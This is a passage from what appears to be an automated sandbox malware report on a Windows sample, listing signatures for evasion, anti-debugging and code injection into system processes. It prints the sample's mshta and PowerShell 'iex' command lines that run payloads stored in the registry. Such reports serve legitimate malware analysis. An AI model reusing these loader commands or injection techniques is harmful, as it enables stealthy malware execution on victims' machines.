Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\control.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion:

barindex
Uses ping.exe to sleep
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\PING.EXE ping localhost -n 5
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\PING.EXE ping localhost -n 5
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Users\user\Desktop\2GEg45PlG9.exe TID: 6764 Thread sleep count: 38 > 30 Jump to behavior
Source: C:\Users\user\Desktop\2GEg45PlG9.exe TID: 6764 Thread sleep count: 43 > 30 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4072 Thread sleep time: -6456360425798339s >= -30000s Jump to behavior
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Contains long sleeps (>= 3 min)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 3274 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 6022 Jump to behavior
Found dropped PE file which has not been started or loaded
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\i3kd1hp5.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\a4dqpwui.dll Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\Desktop\2GEg45PlG9.exe Code function: 1_2_0078CBE3 wcscpy,wcscpy,GetLogicalDriveStringsW,GetLogicalDriveStringsW,RtlAllocateHeap,memset,GetLogicalDriveStringsW,WaitForSingleObject,GetDriveTypeW,lstrlenW,wcscpy,lstrlenW,HeapFree, 1_2_0078CBE3
Source: explorer.exe, 00000018.00000000.494858309.00000000086C9000.00000004.00000001.sdmp Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000018.00000000.494619616.0000000008778000.00000004.00000001.sdmp Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000}
Source: explorer.exe, 00000018.00000000.494858309.00000000086C9000.00000004.00000001.sdmp Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}&
Source: RuntimeBroker.exe, 00000023.00000002.834841579.000001EAE2059000.00000004.00000001.sdmp Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000018.00000000.512329123.00000000067C2000.00000004.00000001.sdmp Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&000000m32)
Source: explorer.exe, 00000018.00000000.494858309.00000000086C9000.00000004.00000001.sdmp Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&000000
Source: C:\Users\user\Desktop\2GEg45PlG9.exe Process information queried: ProcessInformation Jump to behavior
Source: C:\Users\user\Desktop\2GEg45PlG9.exe Code function: 1_2_0078E9AC lstrlenW,lstrlenW,lstrlenW,memset,FindFirstFileW,lstrlenW,lstrlenW,memset,wcscpy,PathFindFileNameW,RtlEnterCriticalSection,RtlLeaveCriticalSection,lstrlenW,FindNextFileW,WaitForSingleObject,FindClose,FindFirstFileW,lstrlenW,FindNextFileW,WaitForSingleObject,FindClose, 1_2_0078E9AC
Source: C:\Users\user\Desktop\2GEg45PlG9.exe Code function: 1_2_0079999E lstrcmp,FindFirstFileW,lstrlenW,lstrlenW,lstrcpyW,lstrlenW,lstrcpyW,lstrcpyW,FindNextFileW,FindClose,FreeLibrary, 1_2_0079999E
Source: C:\Users\user\Desktop\2GEg45PlG9.exe Code function: 1_2_0079A2FE lstrlenW,FindFirstFileW,lstrlenW,RemoveDirectoryW,DeleteFileW,FindNextFileW,GetLastError, 1_2_0079A2FE
Source: C:\Windows\SysWOW64\cmd.exe Code function: 44_2_0091999E FindFirstFileW,FindNextFileW,FindClose,FreeLibrary, 44_2_0091999E
Source: C:\Windows\SysWOW64\cmd.exe Code function: 44_2_0090E9AC memset,FindFirstFileW,memset,wcscpy,RtlEnterCriticalSection,RtlLeaveCriticalSection,FindNextFileW,WaitForSingleObject,FindClose,FindFirstFileW,FindNextFileW,WaitForSingleObject,FindClose, 44_2_0090E9AC
Source: C:\Windows\SysWOW64\cmd.exe Code function: 44_2_0091A2FE lstrlenW,FindFirstFileW,lstrlenW,RemoveDirectoryW,DeleteFileW,FindNextFileW,GetLastError, 44_2_0091A2FE

Anti Debugging:

barindex
Contains functionality to dynamically determine API calls
Source: C:\Users\user\Desktop\2GEg45PlG9.exe Code function: 1_2_00401264 LoadLibraryA,GetProcAddress, 1_2_00401264
Contains functionality to read the PEB
Source: C:\Users\user\Desktop\2GEg45PlG9.exe Code function: 1_2_0059092B mov eax, dword ptr fs:[00000030h] 1_2_0059092B
Source: C:\Users\user\Desktop\2GEg45PlG9.exe Code function: 1_2_00590D90 mov eax, dword ptr fs:[00000030h] 1_2_00590D90
Source: C:\Users\user\Desktop\2GEg45PlG9.exe Code function: 1_2_00790A0E StrRChrA,_strupr,lstrlen,CreateEventA,RtlAddVectoredExceptionHandler,GetLastError,RtlRemoveVectoredExceptionHandler, 1_2_00790A0E
Source: C:\Windows\SysWOW64\cmd.exe Code function: 44_2_00910A0E StrRChrA,_strupr,lstrlen,CreateEventA,RtlAddVectoredExceptionHandler,GetLastError,RtlRemoveVectoredExceptionHandler, 44_2_00910A0E

HIPS / PFW / Operating System Protection Evasion:

barindex
System process connects to network (likely due to code injection or exploit)
Source: C:\Windows\explorer.exe Domain query: lycos.com
Source: C:\Windows\explorer.exe Domain query: mail.yahoo.com
Source: C:\Windows\explorer.exe Domain query: login.yahoo.com
Source: C:\Windows\explorer.exe Domain query: www.lycos.com
Maps a DLL or memory area into another process
Source: C:\Users\user\Desktop\2GEg45PlG9.exe Section loaded: unknown target: C:\Windows\System32\control.exe protection: execute and read and write Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write Jump to behavior
Source: C:\Windows\System32\control.exe Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write Jump to behavior
Source: C:\Windows\System32\control.exe Section loaded: unknown target: C:\Windows\System32\rundll32.exe protection: execute and read and write Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: unknown target: C:\Windows\System32\RuntimeBroker.exe protection: execute and read and write
Source: C:\Windows\explorer.exe Section loaded: unknown target: C:\Windows\System32\RuntimeBroker.exe protection: execute and read and write
Source: C:\Windows\explorer.exe Section loaded: unknown target: C:\Windows\System32\RuntimeBroker.exe protection: execute and read and write
Source: C:\Windows\explorer.exe Section loaded: unknown target: C:\Windows\System32\RuntimeBroker.exe protection: execute and read and write
Source: C:\Windows\explorer.exe Section loaded: unknown target: C:\Windows\SysWOW64\cmd.exe protection: execute and read and write
Allocates memory in foreign processes
Source: C:\Users\user\Desktop\2GEg45PlG9.exe Memory allocated: C:\Windows\System32\control.exe base: C60000 protect: page execute and read and write Jump to behavior
Source: C:\Windows\System32\control.exe Memory allocated: C:\Windows\explorer.exe base: 2D60000 protect: page execute and read and write Jump to behavior
Source: C:\Windows\System32\control.exe Memory allocated: C:\Windows\System32\rundll32.exe base: 23D834B0000 protect: page execute and read and write Jump to behavior
Source: C:\Windows\explorer.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 1B91F360000 protect: page execute and read and write
Source: C:\Windows\explorer.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 163C5200000 protect: page execute and read and write
Source: C:\Windows\explorer.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 1EAE4200000 protect: page execute and read and write
Source: C:\Windows\explorer.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 27740170000 protect: page execute and read and write
Source: C:\Windows\explorer.exe Memory allocated: C:\Windows\SysWOW64\cmd.exe base: 1F0000 protect: page execute and read and write
Creates a thread in another existing process (thread injection)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread created: C:\Windows\explorer.exe EIP: 8DCB1580 Jump to behavior
Source: C:\Windows\System32\control.exe Thread created: C:\Windows\explorer.exe EIP: 8DCB1580 Jump to behavior
Source: C:\Windows\explorer.exe Thread created: C:\Windows\System32\RuntimeBroker.exe EIP: 8DCB1580
Source: C:\Windows\explorer.exe Thread created: C:\Windows\System32\RuntimeBroker.exe EIP: 8DCB1580
Source: C:\Windows\explorer.exe Thread created: C:\Windows\System32\RuntimeBroker.exe EIP: 8DCB1580
Source: C:\Windows\explorer.exe Thread created: C:\Windows\System32\RuntimeBroker.exe EIP: 8DCB1580
Source: C:\Windows\explorer.exe Thread created: C:\Windows\System32\RuntimeBroker.exe EIP: 8DCB1580
Writes to foreign memory regions
Source: C:\Users\user\Desktop\2GEg45PlG9.exe Memory written: C:\Windows\System32\control.exe base: 7FF6FEAA12E0 Jump to behavior
Source: C:\Users\user\Desktop\2GEg45PlG9.exe Memory written: C:\Windows\System32\control.exe base: C60000 Jump to behavior
Source: C:\Users\user\Desktop\2GEg45PlG9.exe Memory written: C:\Windows\System32\control.exe base: 7FF6FEAA12E0 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\explorer.exe base: 93E000 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\explorer.exe base: 7FFC8DCB1580 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\explorer.exe base: 2AC0000 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\explorer.exe base: 7FFC8DCB1580 Jump to behavior
Source: C:\Windows\System32\control.exe Memory written: C:\Windows\explorer.exe base: 93C000 Jump to behavior
Source: C:\Windows\System32\control.exe Memory written: C:\Windows\explorer.exe base: 7FFC8DCB1580 Jump to behavior
Source: C:\Windows\System32\control.exe Memory written: C:\Windows\explorer.exe base: 2D60000 Jump to behavior
Source: C:\Windows\System32\control.exe Memory written: C:\Windows\explorer.exe base: 7FFC8DCB1580 Jump to behavior
Source: C:\Windows\System32\control.exe Memory written: C:\Windows\System32\rundll32.exe base: 7FF7425E5FD0 Jump to behavior
Source: C:\Windows\System32\control.exe Memory written: C:\Windows\System32\rundll32.exe base: 23D834B0000 Jump to behavior
Source: C:\Windows\System32\control.exe Memory written: C:\Windows\System32\rundll32.exe base: 7FF7425E5FD0 Jump to behavior
Source: C:\Windows\explorer.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: 2A2057C000
Source: C:\Windows\explorer.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: 7FFC8DCB1580
Source: C:\Windows\explorer.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1B91F360000
Source: C:\Windows\explorer.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: 7FFC8DCB1580
Source: C:\Windows\explorer.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: 5557E2C000
Source: C:\Windows\explorer.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: 7FFC8DCB1580
Source: C:\Windows\explorer.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: 163C5200000
Source: C:\Windows\explorer.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: 7FFC8DCB1580
Source: C:\Windows\explorer.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: CB290AE000
Source: C:\Windows\explorer.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: 7FFC8DCB1580
Source: C:\Windows\explorer.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1EAE4200000
Source: C:\Windows\explorer.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: 7FFC8DCB1580
Source: C:\Windows\explorer.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: D2F18CF000
Source: C:\Windows\explorer.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: 7FFC8DCB1580
Source: C:\Windows\explorer.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: 27740170000
Source: C:\Windows\explorer.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: 7FFC8DCB1580
Source: C:\Windows\explorer.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: 89B4D22000
Source: C:\Windows\explorer.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: 7FFC8DCB1580
Source: C:\Windows\explorer.exe Memory written: C:\Windows\SysWOW64\cmd.exe base: D96FC0
Source: C:\Windows\explorer.exe Memory written: C:\Windows\SysWOW64\cmd.exe base: 1F0000
Source: C:\Windows\explorer.exe Memory written: C:\Windows\SysWOW64\cmd.exe base: D96FC0
Changes memory attributes in foreign processes to executable or writable
Source: C:\Windows\System32\control.exe Memory protected: C:\Windows\explorer.exe base: 7FFC8DCB1580 protect: page execute and read and write Jump to behavior
Source: C:\Windows\System32\control.exe Memory protected: C:\Windows\explorer.exe base: 7FFC8DCB1580 protect: page execute read Jump to behavior
Source: C:\Windows\System32\control.exe Memory protected: C:\Windows\explorer.exe base: 7FFC8DCB1580 protect: page execute and read and write Jump to behavior
Source: C:\Windows\explorer.exe Memory protected: C:\Windows\System32\RuntimeBroker.exe base: 7FFC8DCB1580 protect: page execute and read and write
Source: C:\Windows\explorer.exe Memory protected: C:\Windows\System32\RuntimeBroker.exe base: 7FFC8DCB1580 protect: page execute read
Source: C:\Windows\explorer.exe Memory protected: C:\Windows\System32\RuntimeBroker.exe base: 7FFC8DCB1580 protect: page execute and read and write
Source: C:\Windows\explorer.exe Memory protected: C:\Windows\System32\RuntimeBroker.exe base: 7FFC8DCB1580 protect: page execute and read and write
Source: C:\Windows\explorer.exe Memory protected: C:\Windows\System32\RuntimeBroker.exe base: 7FFC8DCB1580 protect: page execute read
Source: C:\Windows\explorer.exe Memory protected: C:\Windows\System32\RuntimeBroker.exe base: 7FFC8DCB1580 protect: page execute and read and write
Source: C:\Windows\explorer.exe Memory protected: C:\Windows\System32\RuntimeBroker.exe base: 7FFC8DCB1580 protect: page execute and read and write
Source: C:\Windows\explorer.exe Memory protected: C:\Windows\System32\RuntimeBroker.exe base: 7FFC8DCB1580 protect: page execute read
Source: C:\Windows\explorer.exe Memory protected: C:\Windows\System32\RuntimeBroker.exe base: 7FFC8DCB1580 protect: page execute and read and write
Source: C:\Windows\explorer.exe Memory protected: C:\Windows\System32\RuntimeBroker.exe base: 7FFC8DCB1580 protect: page execute and read and write
Source: C:\Windows\explorer.exe Memory protected: C:\Windows\System32\RuntimeBroker.exe base: 7FFC8DCB1580 protect: page execute read
Source: C:\Windows\explorer.exe Memory protected: C:\Windows\System32\RuntimeBroker.exe base: 7FFC8DCB1580 protect: page execute and read and write
Source: C:\Windows\explorer.exe Memory protected: C:\Windows\System32\RuntimeBroker.exe base: 7FFC8DCB1580 protect: page execute and read and write
Source: C:\Windows\explorer.exe Memory protected: C:\Windows\System32\RuntimeBroker.exe base: 7FFC8DCB1580 protect: page execute read
Injects code into the Windows Explorer (explorer.exe)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Memory written: PID: 3352 base: 93E000 value: 00 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Memory written: PID: 3352 base: 7FFC8DCB1580 value: EB Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Memory written: PID: 3352 base: 2AC0000 value: 80 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Memory written: PID: 3352 base: 7FFC8DCB1580 value: 40 Jump to behavior
Source: C:\Windows\System32\control.exe Memory written: PID: 3352 base: 93C000 value: 00 Jump to behavior
Source: C:\Windows\System32\control.exe Memory written: PID: 3352 base: 7FFC8DCB1580 value: EB Jump to behavior
Source: C:\Windows\System32\control.exe Memory written: PID: 3352 base: 2D60000 value: 80 Jump to behavior
Source: C:\Windows\System32\control.exe Memory written: PID: 3352 base: 7FFC8DCB1580 value: 40 Jump to behavior
Modifies the context of a thread in another process (thread injection)
Source: C:\Users\user\Desktop\2GEg45PlG9.exe Thread register set: target process: 6576 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread register set: target process: 3352 Jump to behavior
Source: C:\Windows\System32\control.exe Thread register set: target process: 3352 Jump to behavior
Source: C:\Windows\System32\control.exe Thread register set: target process: 6500 Jump to behavior
Source: C:\Windows\explorer.exe Thread register set: target process: 4084
Source: C:\Windows\explorer.exe Thread register set: target process: 4176
Source: C:\Windows\explorer.exe Thread register set: target process: 4440
Source: C:\Windows\explorer.exe Thread register set: target process: 4544
Source: C:\Windows\explorer.exe Thread register set: target process: 5704
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Source: unknown Process created: C:\Windows\System32\mshta.exe C:\Windows\System32\mshta.exe" "about:<hta:application><script>J2ut='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(J2ut).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\54E80703-A337-A6B8-CDC8-873A517CAB0E\\\TestLocal'));if(!window.flag)close()</script>
Creates a process in suspended mode (likely to inject code)
Source: C:\Users\user\Desktop\2GEg45PlG9.exe Process created: C:\Windows\System32\control.exe C:\Windows\system32\control.exe -h Jump to behavior
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex ([System.Text.Encoding]::ASCII.GetString(( gp "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn)) Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\a4dqpwui.cmdline Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\i3kd1hp5.cmdline Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESBB1D.tmp" "c:\Users\user\AppData\Local\Temp\CSC8C8ABE1FEF4C478388BEE18242C93FA2.TMP" Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESE1B0.tmp" "c:\Users\user\AppData\Local\Temp\CSCB9FFCE128DE8401581818FC38CDBD6E1.TMP" Jump to behavior
Source: C:\Windows\System32\control.exe Process created: C:\Windows\System32\rundll32.exe "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL -h Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\PING.EXE ping localhost -n 5
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\nslookup.exe nslookup myip.opendns.com resolver1.opendns.com
Source: control.exe, 00000015.00000000.465834683.00000192823C0000.00000002.00020000.sdmp, control.exe, 00000015.00000000.463412327.00000192823C0000.00000002.00020000.sdmp, control.exe, 00000015.00000000.469746208.00000192823C0000.00000002.00020000.sdmp, control.exe, 00000015.00000000.467731710.00000192823C0000.00000002.00020000.sdmp, explorer.exe, 00000018.00000000.479425710.00000000011E0000.00000002.00020000.sdmp, explorer.exe, 00000018.00000000.506871853.00000000011E0000.00000002.00020000.sdmp, explorer.exe, 00000018.00000000.481209654.00000000011E0000.00000002.00020000.sdmp, explorer.exe, 00000018.00000000.506458599.00000000011E0000.00000002.00020000.sdmp, RuntimeBroker.exe, 0000001D.00000000.559720745.000001B91D590000.00000002.00020000.sdmp, RuntimeBroker.exe, 0000001D.00000000.554305571.000001B91D590000.00000002.00020000.sdmp, RuntimeBroker.exe, 0000001D.00000000.542290609.000001B91D590000.00000002.00020000.sdmp, RuntimeBroker.exe, 0000001D.00000000.531101419.000001B91D590000.00000002.00020000.sdmp, RuntimeBroker.exe, 0000001D.00000000.537380226.000001B91D590000.00000002.00020000.sdmp, RuntimeBroker.exe, 0000001D.00000002.839664387.000001B91D590000.00000002.00020000.sdmp, RuntimeBroker.exe, 0000001D.00000000.547364996.000001B91D590000.00000002.00020000.sdmp, RuntimeBroker.exe, 0000001D.00000000.565113464.000001B91D590000.00000002.00020000.sdmp, RuntimeBroker.exe, 00000021.00000000.617259125.00000163C2A60000.00000002.00020000.sdmp, RuntimeBroker.exe, 00000021.00000000.605838216.00000163C2A60000.00000002.00020000.sdmp, RuntimeBroker.exe, 00000021.00000000.586548469.00000163C2A60000.00000002.00020000.sdmp, RuntimeBroker.exe, 00000021.00000000.593422268.00000163C2A60000.00000002.00020000.sdmp, RuntimeBroker.exe, 00000021.00000000.600027354.00000163C2A60000.00000002.00020000.sdmp, RuntimeBroker.exe, 00000021.00000000.611451927.00000163C2A60000.00000002.00020000.sdmp, RuntimeBroker.exe, 00000021.00000000.579445287.00000163C2A60000.00000002.00020000.sdmp, RuntimeBroker.exe, 00000021.00000002.840115033.00000163C2A60000.00000002.00020000.sdmp Binary or memory string: Program Manager
Source: explorer.exe, 00000018.00000000.505405449.0000000000B68000.00000004.00000020.sdmp, explorer.exe, 00000018.00000000.478935674.0000000000B68000.00000004.00000020.sdmp, explorer.exe, 00000018.00000000.480786965.0000000000B68000.00000004.00000020.sdmp Binary or memory string: Progman\Pr
Source: control.exe, 00000015.00000000.465834683.00000192823C0000.00000002.00020000.sdmp, control.exe, 00000015.00000000.463412327.00000192823C0000.00000002.00020000.sdmp, control.exe, 00000015.00000000.469746208.00000192823C0000.00000002.00020000.sdmp, control.exe, 00000015.00000000.467731710.00000192823C0000.00000002.00020000.sdmp, explorer.exe, 00000018.00000000.482740469.0000000005E10000.00000004.00000001.sdmp, explorer.exe, 00000018.00000000.479425710.00000000011E0000.00000002.00020000.sdmp, explorer.exe, 00000018.00000000.506871853.00000000011E0000.00000002.00020000.sdmp, explorer.exe, 00000018.00000000.481209654.00000000011E0000.00000002.00020000.sdmp, explorer.exe, 00000018.00000000.506458599.00000000011E0000.00000002.00020000.sdmp, RuntimeBroker.exe, 0000001D.00000000.559720745.000001B91D590000.00000002.00020000.sdmp, RuntimeBroker.exe, 0000001D.00000000.554305571.000001B91D590000.00000002.00020000.sdmp, RuntimeBroker.exe, 0000001D.00000000.542290609.000001B91D590000.00000002.00020000.sdmp, RuntimeBroker.exe, 0000001D.00000000.531101419.000001B91D590000.00000002.00020000.sdmp, RuntimeBroker.exe, 0000001D.00000000.537380226.000001B91D590000.00000002.00020000.sdmp, RuntimeBroker.exe, 0000001D.00000002.839664387.000001B91D590000.00000002.00020000.sdmp, RuntimeBroker.exe, 0000001D.00000000.547364996.000001B91D590000.00000002.00020000.sdmp, RuntimeBroker.exe, 0000001D.00000000.565113464.000001B91D590000.00000002.00020000.sdmp, RuntimeBroker.exe, 00000021.00000000.617259125.00000163C2A60000.00000002.00020000.sdmp, RuntimeBroker.exe, 00000021.00000000.605838216.00000163C2A60000.00000002.00020000.sdmp, RuntimeBroker.exe, 00000021.00000000.586548469.00000163C2A60000.00000002.00020000.sdmp, RuntimeBroker.exe, 